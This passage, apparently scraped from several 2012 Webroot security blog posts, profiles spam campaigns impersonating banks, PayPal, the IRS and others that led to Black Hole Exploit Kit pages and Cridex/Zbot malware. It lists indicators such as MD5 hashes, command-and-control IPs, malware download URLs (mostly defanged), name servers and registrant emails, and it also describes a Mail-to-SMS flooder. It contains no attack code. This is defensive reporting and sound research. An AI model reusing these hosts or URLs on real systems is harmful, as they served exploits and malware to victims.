Name server: **ns4.canadianpanakota.ru** – 65.99.223.24
Name server: **ns1.lemonadiom.ru** – 85.143.166.170
Name server: **ns2.lemonadiom.ru** – 132.248.49.112
Name server: **ns3.lemonadiom.ru** – 84.22.100.108
Name server: **ns4.lemonadiom.ru** – 213.251.171.30
Name server: **ns1.peneloipin.ru** – 62.76.186.190
Name server: **ns2.peneloipin.ru** – 132.248.49.112
Name server: **ns3.peneloipin.ru** – 84.22.100.108
Name server: **ns4.peneloipin.ru** – 65.99.223.24
Name server: **ns1.veneziolo.ru** – 62.76.178.233
Name server: **ns2.veneziolo.ru** – 41.168.5.140
Name server: **ns3.veneziolo.ru** – 132.248.49.112
Name server: **ns4.veneziolo.ru** – 209.51.221.247
Name server: **ns1.forumibiza.ru** – 62.76.186.190
Name server: **ns2.forumibiza.ru** – 84.22.100.108
Name server: **ns3.forumibiza.ru** – 50.22.102.132
Name server: **ns4.forumibiza.ru** – 213.251.171.30
Name server: **ns1.controlleramo.ru** – 62.76.186.190
Name server: **ns2.controlleramo.ru** – 132.248.49.112
Name server: **ns3.controlleramo.ru** – 84.22.100.108
Name server: **ns4.controlleramo.ru** – 65.99.223.24
Name server: **ns1.moneymakergrow.ru** – 62.76.178.233
Name server: **ns2.moneymakergrow.ru** – 132.248.49.112
Name server: **ns3.moneymakergrow.ru** – 84.22.100.108
Name server: **ns04.moneymakergrow.ru** – 65.99.223.24
Name server: **ns1.fionadix.ru** – 62.76.186.190
Name server: **ns2.fionadix.ru** – 84.22.100.108
Name server: **ns3.fionadix.ru** – 50.22.102.132

Name server: **ns4.fionadix.ru** – 213.251.171.30
Name server: **ns1.linkrdin.ru** – 85.143.166.170
Name server: **ns2.linkrdin.ru** – 132.248.49.112
Name server: **ns3.linkrdin.ru** – 84.22.100.108
Name server: **ns4.linkrdin.ru** – 79.98.27.9
Name server: **ns1.geforceexlusive.ru** – 62.76.47.51
Name server: **ns2.geforceexlusive.ru** – 132.248.49.112
Name server: **ns3.geforceexlusive.ru** – 84.22.100.108
Name server: **ns4.geforceexlusive.ru** – 79.98.27.9

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Bogus IRS 'Your tax return appeal is declined' themed emails lead to malware - Webroot Blog

facebook linkedin twitter

In March 2012, we intercepted an **IRS themed malicious campaign** that was serving client-side exploits to prospective victims in an attempt to drop malware on the affected hosts.

This week, we intercepted three consecutive campaigns using the exact same email template used in the March campaign. What has changed? Are the cybercriminals behind these campaigns relying on any new tactics, or are they basically sticking to well proven techniques to infect tens of thousands of socially engineered users?

Let’s find out.

More details:

Sample screenshot of the spamvertised email:

Unlike March 2012’s campaign that used client-side exploits in an attempt to drop malware on the affected host, the last three campaigns have relied on malicious archives attached to spamvertised emails. Each has a unique MD5 and phones back to a different (compromised) command and control server.

The first sample: **MD5: f56026fcc9ac2daad210da82d92f57a3** – detected by 36 out of 44 antivirus scanners as Worm:Win32/Cridex.E phones back to **210.56.23.100:8080/Ajtw/UCygrDAA/Ud+asDAA** (AS7590, Commission For Science And Technology, Pakistan).

We’ve already seen the same command and control server used in the previously profiled “‘**American Express Alert: Your Transaction is Aborted’ themed emails serve client-side exploits and malware** “; “**Spamvertised American Airlines themed emails lead to Black Hole exploit kit** ” malicious campaigns, indicating that these have all been launched by the same party.

The second sample: **MD5: 53c4f27ce39fa8b9330c3faff85e4917** – detected by 35 out of 44 antivirus scanners as Worm:Win32/Cridex.E phones back to **128.2.172.202:8080/Ajtw/UCygrDAA/Ud+asDAA** (AS9, Carnegie Mellon University Backbone AS).

We also have another: **MD5: 532bdd2565cae7b84cb26e4cf02f42a0** **–** detected by 33 out of 44 antivirus scanners as Worm:Win32/Cridex.E that is known to have phoned back to the same IP, **128.2.172.202:8080/37ugtbaaaaa/enmtzaaaaa/pxos/**

The following MD5s are also known to have phoned back to this very same IP:

MD5: a5c8fb478ff7788609863b83079718ec – detected by 33 out of 44 antivirus scanners as Worm:Win32/Cridex.E
MD5: f739f99f978290f5fc9a812f2a559bbb – detected by 7 out of 44 antivirus scanners as Trojan.Win32.Bublik.swr

The third sample used in the IRS themed campaign: **MD5: 32b4227ae379f98c1581f5cb2b184412** – detected by 36 out of 44 antivirus scanners as Worm:Win32/Cridex.E phones back to **202.143.189.180:8080/Ajtw/UCygrDAA/Ud+asDAA** (AS23974, Ministry of education, Thailand).

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Cybercriminals spamvertise bogus eFax Corporate delivery messages, serve multiple malware variants - Webroot Blog

facebook linkedin twitter

Cybercriminals are currently mass mailing millions of emails trying to trick recipients into executing malicious attachments pitched as recently arrived fax messages. Upon running the malicious executables, users are exposed to a variety of dropped malware variants in a clear attempt by the cybercriminals to add additional layers of monetization to the campaign.

More details:

Sample screenshot of the spamvertised email:

Detection rate for the malicious executable: MD5: 16625f5ee30ba33945b807fb0b8b2f9e – detected by 37 out of 43 antivirus scanners as Trojan-PSW.Win32.Tepfer.blbl

Upon execution, it attempts to connect to the following domains: 192.5.5.241 ser.foryourcatonly.com ser.luckypetspetsitting.com dechotheband.gr barisdogalurunler.com alpertarimurunleri.com oneglobalexchange.com rumanas.org www.10130138.wavelearn.de visiosofttechnologies.com sgisolution.com.br plusloinart.be marengoit.pl

It then downloads additional malicious payload from the following URLs:
hxxp://dechotheband.gr/5Wjm3iV2.exe
hxxp://barisdogalurunler.com/9BMu2.exe
hxxp://alpertarimurunleri.com/rRq.exe
hxxp://oneglobalexchange.com/19J.exe – ACTIVE
hxxp://rumanas.org/1vAWoxz3.exe
hxxp://www.10130138.wavelearn.de/4pxp.exe
hxxp://visiosofttechnologies.com/iDm9vs.exe
hxxp://sgisolution.com.br/jq5.exe – ACTIVE

hxxp://plusloinart.be/Ue7cHNm.exe – ACTIVE
hxxp://marengoit.pl/ZBrBpBh2.exe

Detection rate for a sample downloaded executable: 19J.exe – **MD5: 1dc5c0ee228354b2e11aefbd119ef852** – detected by 36 out of 44 antivirus scanners as Trojan-Spy.Win32.Zbot.ggfs

This sample creates the following MD5s on the affected host:
tykiy.exe – MD5: 69A45269B0A43F4FE65B81C1833A2B3B
cafaha.yja – MD5: 507A43E36DB0F1A918C674874D72C9F3
tmp61346667.bat – MD5: 8F7B621E6AEB966B9C2005940498A404

Detection rate for the second downloaded executable: jq5.exe – **MD5: c9f5d0ba1caa54d0537d60eead26534e** – detected by 36 out of 43 antivirus scanners as Trojan-Spy.Win32.Zbot.gbga

Detection rate for the third downloaded executable: Ue7cHNm.exe – **MD5: a7772183d2650d9d4f26ffa02fd41d64** – detected by 33 out of 44 antivirus scanners as Trojan-Spy.Win32.Zbot.gfrt

It creates the following MD5s on the affected host: vaimhi.exe – MD5: 185F9F098069FE0C77DF524E7495CBFF
urliz.jew – MD5: C05DB33DA1109C86787C3AB314D14BE6
tmp291a82a0.bat – MD5: FF2E914D76BDA16724875294B1EE7327

The following MD5s are also known to have been downloaded by an affected host in a similar fashion: MD5: 25098F408CFA013FA246B94622D1044A – detected by 32 out of 44 antivirus scanners as Trojan-Spy.Win32.Zbot.gazz
MD5: 79090DE7377E7CCB06DC26634EA914A6 – detected by 34 out of 43 antivirus scanners as Trojan-Spy.Win32.Zbot.gawd

The following MD5 also downloaded in the campaign is known to have phoned back to the following C&C server: MD5: 2FC39B95A36BDD61C44BAAD205BCC2EC – detected by 30 out of 44 antivirus scanners as VirTool:Win32/CeeInject

Phone back URL: hxxp://oftechnologies.co.in/update/777/img.php?gimmeImg – 130.185.73.102, AS48434 – Email:

melody_mccarroll38@indyracers.com
Name Server:**NS1.INVITEDNS.COM** Name Server:**NS2.INVITEDNS.COM**

The following malicious domain responds to the same IP: updateswindowspc.net

The following malicious domains are also known to have responded to the same IP (130.185.73.102) in the past: warrantynetwork.co.in – **MD5: c80c3e16b17309fbcabdd402649faab5** is known to have phoned back there – detected by 33 out of 44 antivirus scanners as Trojan:Win32/Grymegat.B
amendenhancements.net.in – **MD5: B1206CB15B85DDBF6FC411FE9C1FB808** is known to have phoned back there – detected by 17 out of 44 antivirus scanners as Trojan:Win32/Grymegat.B
homedrakx.net.in

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Bogus Better Business Bureau themed notifications serve client-side exploits and malware - Webroot Blog

facebook linkedin twitter

Cybercriminals are currently spamvertising millions of emails impersonating the **Better Business Bureau (BBB)** , in an attempt to trick users into clicking on a link to a non-existent report. Upon clicking on the link, users are exposed to the client-side exploits served by the latest version of the **Black Hole Exploit Kit** .

More details:

Sample screenshot of the spamvertised email:

Sample compromised URLs used in the campaign: *hxxp://www.kulturszalon.hu/cmplinfo.html* ; *hxxp://plastonline.expopage.net/cmplinfo.htm* l; *hxxp://holmgard.ru/bbbcmpln.html* ; *hxxp://www.resgroup.com/cmplinfo.html* ; *hxxp://fatherandy.com/cmplinfo.html* ; *hxxp://luxense.eu/bbbcmpln.html* ; *hxxp://sauter-vvp.de/cmplinfo.html* ; *hxxp://lrhmedia.com/bbbcmpln.html* ; *hxxp://stsmc.org/cmplinfo.html* ; *hxxp://kulturszalon.hu/cmplinfo.html* ; *hxxp://fajnybazar.cz/cmplinfo.html* ; *hxxp://caselle-vpn.net/cmplinfo.html* ; *hxxp://intranet.sextaconcepcion.cl/cmplinfo.html* ; *hxxp://www.stsmc.org/cmplinfo.html* ; *hxxp://philipsambisound.info/cmplinfo.html* ; *hxxp://www.resgroup.com/cmplinfo.html* ; *hxxp://www.j-channel.ch/cmplinfo.html* ; *hxxp://eaglemailboxsales.com/cmplinfo.html* ; *hxxp://www.teratec.co.il/cmplinfo.html* ; *hxxp://www.azmp.ru/cmplinfo.html* ; *hxxp://znamenie.com/cmplinfo.html* ; *hxxp://star-crep.it/bbbcmpln.html* ; *hxxp://mignonnettes.it/bbbcmpln.html*

Sample client-side exploits serving URL: *hxxp://samplersmagnifyingglass.net/detects/confirming_absence_listing.php* – 183.81.133.121, AS38442 – Email: jap_gazo8262@fansonlymail.com

Although I wasn't able to obtain the actual malicious payload from this campaign, it's worth pointing out that the cybercriminals behind it relied on the same infrastructure as they did in previously profiled malicious attacks launched by the same party. We also know that on the following dates/specific time, the following malicious URLs also responded to the same IP (183.81.133.121):

2012-10-16 00:24:08 – **hxxp://navisiteseparation.net/detects/processing-details_requested.php** 2012-10-12 11:19:37 – **hxxp://editdvsyourself.net/detects/beeweek_status-check.php**

Responding to the same IP (183.81.133.121) are also the following malicious domains: stafffire.net hotsecrete.net – Email: counseling1@yahoo.com
the-mesgate.net – also responds to 208.91.197.54 – Email: admin@newvcorp.com

Name servers used in the campaign: Name Server: **NS1.TOPPAUDIO.COM** – 91.216.93.61 – Email: windowclouse@hotmail.com
Name Server: **NS2.TOPPAUDIO.COM** – 29.217.45.138 – Email: windowclouse@hotmail.com

stafffire.net seen in – "**Spamvertised 'Your UPS delivery tracking' emails serving client-side exploits and malware** "; "**BofA 'Online Banking Passcode Reset' themed emails serve client-side exploits and malware** "
hotsecrete.net seen in – "**BofA 'Online Banking Passcode Reset' themed emails serve client-side exploits and malware** "
the-mesgate.net seen in – "**BofA 'Online Banking Passcode Reset' themed emails serve client-side exploits and malware** "
NS1.TOPPAUDIO.COM and **NS2.TOPPAUDIO.COM** seen in – "**BofA 'Online Banking Passcode Reset' themed emails serve client-side exploits and malware** "; "'**ADP Immediate Notification' themed emails lead to Black Hole Exploit Kit** "; "'**Your Discover**

Card Services Blockaded' themed emails serve client-side exploits and malware "; "'**American Express Alert: Your Transaction is Aborted' themed emails serve client-side exploits and malware** "; "'**PayPal Account Modified' themed emails lead to Black Hole Exploit Kit** "

We'll continue monitoring the campaigns launched by this group, and post updates as soon as new campaigns are launched.

Webroot SecureAnywhere users are proactively protected from these threats.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

'PayPal Account Modified' themed emails lead to Black Hole Exploit Kit - Webroot Blog

facebook linkedin twitter

A cybercriminal/group of cybercriminals that's been responsible for a series of malware attacks that I've been recently profiling, continues to systematically rotate the impersonated brands and the actual malicious payload dropped by the market leading **Black Hole Exploit Kit.** The prospective target of their latest campaign? PayPal users.

More details:

Sample screenshot of the spamvertised email:

Sample compromised URLs used in the campaign: *hxxp://smksapg.edu.my/acschanged.html* ; *hxxp://kylecommunity.com/acschanged.html* ; *hxxp://tonymerritt.com/acschanged.html* ; *hxxp://gorod-sport.ru/acschanged.html* ; *hxxp://family.joeinfo.org/acschanged.html* ; *hxxp://sabaevo.ru/acschanged.html* ; *hxxp://www.dzivebezzalem.lv/acschanged.html* ; *hxxp://www.eqtv.com.ar/acschanged.html* ; *hxxp://consultancy.jcsinvestment.com/acschanged.html* ; *hxxp://www.ilampokhari.co.uk/acschanged.html* ; *hxxp://sonnen-ernte.de/acschanged.html* ; *hxxp://www.dzivebezzalem.lv/acschanged.html* ; *hxxp://www.modelzwerge.de/acschanged.html* ; *hxxp://wiggleeyes.pedromorales.com/acschanged.html* ; *hxxp://aloeweb.cl/acschanged.html* ; *hxxp://yuriy.at/acschanged.html* ; *hxxp://www.llv.lichlamviec.com/acschanged.html* ; *hxxp://ipadcover.ru/acschanged.html; hxxp://www.robertguyser.com/wp-content/themes/twentyten/ppacchanges.html;*
hxxp://partnerzy.net/wp-content/plugins/ppacchanges.html;
hxxp://www.ufec.info/wp-content/plugins/akismet/ppacchanges.html;
hxxp://msinventors.org/wp-content/plugins/akismet/ppacchanges.html;

hxxp://www.textranetwork.com/wp-content/plugins/akismet/ppacchanges.html; hxxp://sclics.com/wp-content/plugins/akismet/ppacchanges.html; hxxp://www.passwork.org/wp-content/plugins/akismet/ppacchanges.html

Client-side exploits serving URL: *hxxp://puzzledbased.net/detects/suited_awful_infinite_estimate.php; hxxp://packleadingjacket.org/detects/hidden-temperature.php*

Malicious domain name reconnaissance: puzzledbased.net – 183.180.134.217, AS2519 – Email: rodger_covach3060@spacewar.com

Name Server: **NS1.TOPPAUDIO.COM** Name Server: **NS2.TOPPAUDIO.COM**

packleadingjacket.org – 62.116.181.25

Name Server: **ns1.chelseafun.net** Name Server: **ns2.chelseafun.net**

Although we couldn't reproduce **puzzledbased.net's** malicious activity, we know for certain that on 2012/11/01 at 15:19, **hxxp://netgear-india.net/detects/discover-important_message.php** was responding to the same IP. We've already seen and profiled the malicious activity of the campaign using this URL in the **"'Your Discover Card Services Blockaded' themed emails serve client-side exploits and malware "** analysis.

Moreover, we've also seen the same name servers (**NS1.TOPPAUDIO.COM** ; **NS2.TOPPAUDIO.COM**) used in a series of recently profiled campaigns, once again launched by the same cybercriminal/gang of cybercriminals. The campaigns in question are: "'**American Express Alert: Your Transaction is Aborted' themed emails serve client-side exploits and malware** "; "**Your Discover Card Services Blockaded' themed emails lead to Black Hole Exploit Kit** "; "**BofA 'Online Banking Passcode Reset' themed emails serve client-side exploits and malware** " ; "'**ADP Immediate Notification' themed emails lead to Black Hole Exploit Kit** ".

The name servers (**ns1.chelseafun.net** ; **ns2.chelseafun.net**) used by the most recently used client-side exploits serving domain, have also been seen in the following previously profiled malicious campaigns – "'Payroll Account Holded by Intuit' themed emails lead to Black Hole Exploit Kit "; "'Your Discover Card Services Blockaded' themed emails serve client-side exploits and malware ".

The following malicious domains are also part of the campaign's infrastructure and respond to the same IP (**183.180.134.217**) as the client-side exploits serving domains:

rovo.pl itracrions.pl superdmntre.com chicwhite.com radiovaweonearch.com strili.com superdmntwo.com unitmusiceditior.com newtimedescriptor.com steamedboasting.info solla.atvotela.net stempare.net tradenext.net bootingbluray.net

The following malicious domain (**stempare.net**) was also seen in the recently profiled "'American Express Alert: Your Transaction is Aborted' themed emails serve client-side exploits and malware " campaign, indicating yet another connection between these campaigns.

We've also seen **steamedboasting.info** in the following recently profiled malicious campaigns – "**'**Your Discover Card Services Blockaded' themed emails serve client-side exploits and malware "; "'ADP Immediate Notification' themed emails lead to Black Hole Exploit Kit ".

PayPal is a commonly impersonated brand by a lot of cybercriminals. In fact, some of them are so efficient in the process of obtaining PayPal accounting data, that they launch online shops targeting fellow cybercriminals who are interested in purchasing the fraudulently obtained data. We've also seen the brand impersonated in a series of malicious attacks:

PayPal 'Notification of payment received' themed emails serve malware Spamvertised 'PayPal has sent you a bank transfer' themed emails lead to Black Hole exploit kit Spamvertised 'Confirm PayPal account" notifications lead to phishing sites Spamvertised 'Your Paypal Ebay.com payment'

emails serving client-side exploits and malware Cybercriminals spamvertise PayPay themed 'Notification of payment received' emails, serve malware Spamvertised 'Your Ebay funds are cleared' themed emails lead to Black Hole exploit kit

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Cybercriminals abuse major U.S SMS gateways, release DIY Mail-to-SMS flooders - Webroot Blog

facebook linkedin twitter

Largely driven by a widespread adoption of **growth and efficiency oriented strategies** applied by cybercriminals within the entire spectrum of the cybercrime ecosystem, we've witnessed the emergence and development of the mobile device market segment over the past few years. Motivated by the fact that more people own a mobile device than a PC, cybercriminals **quickly adapted** and **started innovating** in an **attempt to capitalize** on this ever-growing market segment within their portfolio of fraudulent operations.

In this post I'll profile a DIY Mail-to-SMS flooder that's abusing a popular feature offered by international and U.S based mobile carriers – the ability to SMS any number through an email message. The DIY SMS flooder exclusively targets U.S users.

More details:

What's so special about the DIY Mail-to-SMS flooder that I'm about to profile in this post? Are the cybercriminals behind it innovating on the DIY SMS flooder front, or are they basically adapting to the situation in an attempt to cash in on the process? Let's find out.

Sample screenshot of the DIY Mail-to-SMS flooder:

The DIY Mail-to-SMS flooder works fairly simply. And that's the problem. On the majority of occassions, each and every mobile carrier offers the ability to receive an SMS message sent over email. The feature, Mail-to-SMS, is made possible thanks to the SMS gateways managed by mobile carriers. It works as follows – the mobile number of the potential victim is included in a sample email like *mobile_number@sms_gateway.mobile_carrier* . If the feature is activated for this particular number — and on the majority of occasions it is — then the user will receive the SMS message sent over email.

What the cybercriminals behind this flooder did is collect **publicly obtainable information on U.S based mobile carriers** , incorporate the details into the program, and allow anyone to launch SMS flooding attacks over SMTP (Simple Mail Transfer Protocol). The nasty feature is currently affecting the majority of U.S based mobile carriers, and with the program already leaked at several cybercrime-friendly online communities, it's only a matter of time before it gets included into the arsenal of tools of a **managed SMS flooding service** .

Thankfully, the DIY Mail-to-SMS flooder doesn't offer automatic rotation of SMTP servers, sender's email, and randomization of the body of the message. It's only a matter of time before these features get implemented.

We'll continue monitoring the development of the tool, as well as the emerging abuse of the mobile device market segment within the cybercrime ecosystem.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

'American Express Alert: Your Transaction is Aborted' themed emails serve client-side exploits and malware - Webroot Blog

facebook linkedin twitter

American Express cardholders, beware!

Over the past week, cybercriminals mass mailed millions of emails impersonating American Express, in an attempt to trick its customers into clicking on the malicious links found in the emails. Upon clicking on any of the links, users are redirected to a malicious URL serving cllient-side exploits courtesy of the **Black Hole Exploit Kit** .

More details:

Sample screenshot of the spamvertised email:

Sample compromised URLs used in the campaign: *hxxp://www.xn--snren-wua.net/amextrfail.html* ; *hxxp://www.stellarkids.net/amextrfail.html* ; *hxxp://abakus-baby.com/amextrfail.html* ; *hxxp://www.balatonok.hu/amextrfail.html* ; *hxxp://www.ardiabetes.org/amextrfail.html* ; *hxxp://xfrz.cn/amextrfail.html* ; *hxxp://kinga-aco.studiopresent.info/amextrfail.html* ; *http://www.intech74.ru/amextrfail.html* ; *http://wanpra.com/amextrfail.html* ; *http://qr-codes.pedromorales.com/amextrfail.html* ; *hxxp://relationshipcentral.org.my/amextrfail.html* ; *hxxp://svetled.net/amextrfail.html* ; *hxxp://plateenforcer.com/amextrfail.html* ; *hxxp://marko.jumpquick.com/amextrfail.html* ; *hxxp://familyfiles.joeinfo.org/amextrfail.html* ; *hxxp://vawip.sapint.org/amextrfail.html* ; *hxxp://www.xn--snren-wua.net/amextrfail.html* ; *hxxp://uni-formsandservices.com/amextrfail.html* ; *hxxp://www.svma.sd/amextrfail.html* ; *hxxp://www.ardiabetes.org/amextrfail.html*

Client-side exploits serving URLs: *hxxp://stempare.net/detects/suited_awful_infinite_estimate.php* ; *hxxp://stempare.net/detects/suited_awful_infinite_estimate.php?azfqtl=3833043409&zwe=47&wfamk=053402373604033534 07&htks=0a000300040002*

Malicious domain name reconnaissance: stempare.net – 109.123.220.145, AS15685 – Email: rebe_bringhurst1228@i-connect.com
Name Server: **NS1.TOPPAUDIO.COM –** 91.216.93.61, AS50300 – Email: windowclouse@hotmail.com
Name Server: **NS2.TOPPAUDIO.COM –** 29.217.45.138 – Email: windowclouse@hotmail.com

We've already seen these name servers in the recently profiled **"'Your Discover Card Services Blockaded' themed emails lead to Black Hole Exploit Kit "** ; "**BofA 'Online Banking Passcode Reset' themed emails serve client-side exploits and malware** "; "'**ADP Immediate Notification' themed emails lead to Black Hole Exploit Kit** ", indicating that all of these campaigns are managed by a single cybercriminal/gang of cybercriminals.

Upon loading of the malicious URL, a malicious PDF file exploiting **CVE-2010-0188** is used to ultimately drops the actual payload – **MD5: c8c607bc630ee2fe6a8c31b8eb03ed43** – detected by 2 out of 44 antivirus scanners as Trojan.Win32.Bublik.ptf.

Upon execution, the dropped malware requests a connection to **192.5.5.241:8080** and then establishes a connection with **210.56.23.100:8080/Ajtw/UCygrDAA/Ud+asDAA** (AS7590, Commission For Science And Technology, Pakistan). The following domain responds to this IP: **discozdata.org** . It is currently blacklisted in 25 anti-spam lists.

The following URLs are known to have directly serving malicious content, and act as command and control servers in the past: 210.56.23.100:8080/asp/intro.php
210.56.23.100:8080/za/v_01_a/in

The following malicious URLs are known to have responsed to the same IP: hxxp://**poluicenotgo.ru** :8080/internet/at.php?i=15
hxxp://**uiwewsecondary.ru** :8080/internet/fpkrerflfvd.php

hxxp://**webmastaumuren.ru** :8080/navigator/jueoaritjuir.php
hxxp://**dedovshinaus.su** :8080/pages/dq.php?i=15
hxxp://**rushsjhdhfjsldif.su** :8080/images/aublbzdni.php
hxxp://**xstriokeneboleeodgons.ru** :8080/images/jw.php?i=3D8
hxxp://**debiudlasduisioa.ru** /
hxxp://**dkjhfkjsjadsjjfj.ru** :8080/images/aublbzdni.php
hxxp://**ckjsfhlasla.ru** :8080/images/kobzfoivdpdzilx.php
hxxp://**zolindarkksokns.ru** :8080/images/jw.php?i=2
hxxp://**caskjfhlkaspsfg.r** u/images/dpcobsyscrctbt.jar
hxxp://**csoaspfdpojuasfn.ru** :8080/images/xqyndrbualfl.swf

The last time we came across this IP (**210.56.23.100**), was in July 2012's analysis of yet another malicious campaign, this time **impersonating American Airlines** .

Webroot SecureAnywhere users are proactively protected from these threats.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

'Payroll Account Holded by Intuit' themed emails lead to Black Hole Exploit Kit - Webroot Blog

facebook linkedin twitter

Intuit users, beware!

Cybercriminals are currently mass mailing millions of emails impersonating **Intuit's Direct Deposit Service** , in an attempt to trick its users into clicking on the malicious links found in the legitimate-looking emails. Upon clicking on any of them, users are exposed to the client-side exploits served by the latest version of the **Black Hole Exploit Kit** .

More details:

Sample screenshot of the spamvertised email:

Sample compromised URLs used in the campaign: *hxxp://www.transplantexperience.in/inproldet.html* ; *hxxp://www.skullisland.ca/inproldet.html* ; *hxxp://pozycjonowanie.profi-group.pl/inproldet.html* ; *hxxp://www.transplantexperience.in/inproldet.html* ; *hxxp://www.luxense.eu/inproldet.html* ; *hxxp://media.ted.fr/sites/inproldet.html* ; *hxxp://tacmap.jp/sites/inproldet.html* ; *hxxp://spiler.hu/inproldet.html* ; *hxxp://archaeology.tau.ac.il/inproldet.html* ; *hxxp://www.tecfedericotaylor.edu.gt/inproldet.html* ; *hxxp://www.viaherworld.com/inproldet.html*

Client-side exploits serving URL: *hxxp://savedordercommunicates.info/detects/bank_thinking.php* ; *hxxp://savedordercommunicates.info/detects/bank_thinking.php?eony=3833043409&ujmp=36&akemejo=03370b370a33070b0207&lwv=0a000300040002*

Upon loading, the malicious URL attempts to drop a PDF on the affected host that's exploiting **CVE-2010-0188** . Once successful, the client-side exploit then drops additional malware.

Detection rate for the dropped malware: MD5: ebe81fe9a632726cb174043f6ac93e46 – detected by 14 out of 44 antivirus scanners as Trojan.Win32.Bublik.qqf

Client-side exploits serving domain reconnaissance: savedordercommunicates.info – 75.127.15.39, AS36352 – Email: heike_ruigrok32@naplesnews.net
Name Server: **NS1.CHELSEAFUN.NET** – 173.234.9.89, AS15003 – also responding to the same IP is the following malicious name server: **ns1.nationalwinemak.com** Name Server: **NS2.CHELSEAFUN.NET** – 65.131.100.90, AS209

We've already seen the same name servers used in the previously profiled "'**Your Discover Card Services Blockaded' themed emails serve client-side exploits and malware** " malicious campaign, indicating that both of these campaigns are managed by the same malicious party.

Responding to the same IP (**75.127.15.39**) is also the following malicious domain:
teamscapabilitieswhich.org

This isn't the first time that we've intercepted Intuit themed malicious campaigns. Consider going through previous analyses profiling malicious campaigns impersonating the company:

'Intuit Payroll Confirmation inquiry' themed emails lead to the Black Hole exploit kit Intuit themed 'QuickBooks Update: Urgent' emails lead to Black Hole exploit kit Cybercriminals impersonate Intuit Market, mass mail millions of exploits and malware serving emails Spamvertised Intuit themed emails lead to Black Hole exploit kit

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

'Your Discover Card Services Blockaded' themed emails serve client-side exploits and malware - Webroot Blog

facebook linkedin twitter

Cybercriminals are currently spamvertising millions of emails impersonating Discover, in an attempt to trick cardholders into clicking on the client-side exploits serving URLs found in the malicious emails. Upon clicking on the links, users are exposed to the client-side exploits served by the latest version of the **Black Hole Exploit Kit** .

More details:

Sample screenshot of the spamvertised email:

Sample compromised URLs used in the campaign: *hxxp://www.alacinc.org.nz/impdiscm.html* ; *hxxp://viajesybuceo.es/impdiscm.html* ; *hxxp://www.akncorporation.com/impdiscm.html* ; *hxxp://www.smoc.tw/impdiscm.html* ; *hxxp://www.mofty.net/impdiscm.html* ; *hxxp://akweb.nl/webcalendar/includes/impdiscm.html* ; *hxxp://fullhome.net/discinfo.html*

Client-side exploits serving URLs: *hxxp://netgear-india.net/detects/discover-important_message.php* ; *hxxp://netgear-india.net/detects/discover-important_message.php?qejbu=360a070b03&tfy=35&xio=34023705350a050a0b38&wcxa=02000200020002* ; *hxxp://teamscapabilitieswhich.org/detects/discover-important_message.php*

Upon loading, these URLs attempt to exploit **CVE-2010-0188** by dropping a malicious PDF file on the affected host, which then drops the actual malware upon successful client-side exploitation.

Sample detection rate for the dropped malware: **MD5: 80601551f1c83ee326b3094e468c6b42** – detected by 4 out of 44 antivirus scanners as UDS:DangerousObject.Multi.Generic

Upon execution, the sample phones back to **200.169.13.84:8080/AJtw/UCyqrDAA/Ud+asDAA** , AS21574

Client-side exploits serving domain reconnaissance: teamscapabilitieswhich.org responds to 183.180.134.217, AS2519 – Email: anil_valiquette124@dawnsonmail.com
Name Server: **NS1.CHELSEAFUN.NET** – 173.234.9.89
Name Server: **NS2.CHELSEAFUN.NET** – 65.131.100.90

netgear-india.net – 183.180.134.217, AS2519
Name Server: **NS1.TOPPAUDIO.COM –** 91.216.93.61
Name Server: **NS2.TOPPAUDIO.COM** – 173.234.9.89

The same name servers (**NS1.TOPPAUDIO.COM** ; **NS2.TOPPAUDIO.COM**) were also used in the recently profiled "**BofA 'Online Banking Passcode Reset' themed emails serve client-side exploits and malware** "; "'**ADP Immediate Notification' themed emails lead to Black Hole Exploit Kit** ", indicating a connection between these campaigns.

Responding to the same IP (183.180.134.217) are also the following malicious domains part of the campaign's infrastructure: rovo.pl itracrions.pl radiovaweonearch.com unitmusiceditior.com newtimedescriptor.com steamedboasting.info solla.at votela.net puzzledbased.net stempare.net questionscharges.net bootingbluray.net

